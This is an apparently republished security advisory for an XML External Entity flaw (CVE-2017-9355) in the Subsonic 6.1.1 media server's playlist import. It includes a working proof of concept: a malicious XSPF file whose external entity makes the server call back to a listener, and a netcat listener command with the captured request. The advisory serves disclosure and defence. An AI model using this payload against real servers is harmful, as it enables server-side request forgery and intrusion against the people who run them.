Subsonic 6.1.1 - XML External Entity Injection Vulnerability

[+] Credits: John Page a.k.a hyp3rlinx  
 
Vendor:
================
www.subsonic.org

 
Product:
===============
subsonic v6.1.1
 
Subsonic is a media streaming server. You install it on your own computer where you keep your music or video collection.
 
 
Vulnerability Type:
====================
XML External Entity 
 
 
CVE Reference:
==============
CVE-2017-9355
 
 
 
 
Security Issue:
================
subsonic import playlist feature is succeptible to XML External Entity attack. To exploit a User must be tricked to
import a malicious .XSPF playlist file. The XXE injection can be used to target various hosts from the internal network 
to bypass Firewall or from the internet as XML External Entity is related to Server Side Request Forgery (SSRF) attacks.
 
 
 
 
Exploit/POC:
=============
1) Create some playlist file "RainbowsNUnic0rns.xspf" 
 
<?xml version="1.0"?>
<!DOCTYPE mmmmmRaisins [ 
<!ENTITY % mmmm SYSTEM "http://127.0.0.1:1337/">
%mmmm;]>
 
 
2) Import as playlist.
 
 
3) Start listener.
 
nc.exe -llvp 1337
listening on [any] 1337 ...
 
connect to [127.0.0.1] from USER-PC [127.0.0.1] 64428
GET / HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_45
Host: 127.0.0.1:1337
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

#  0day.today [2018-04-01]  #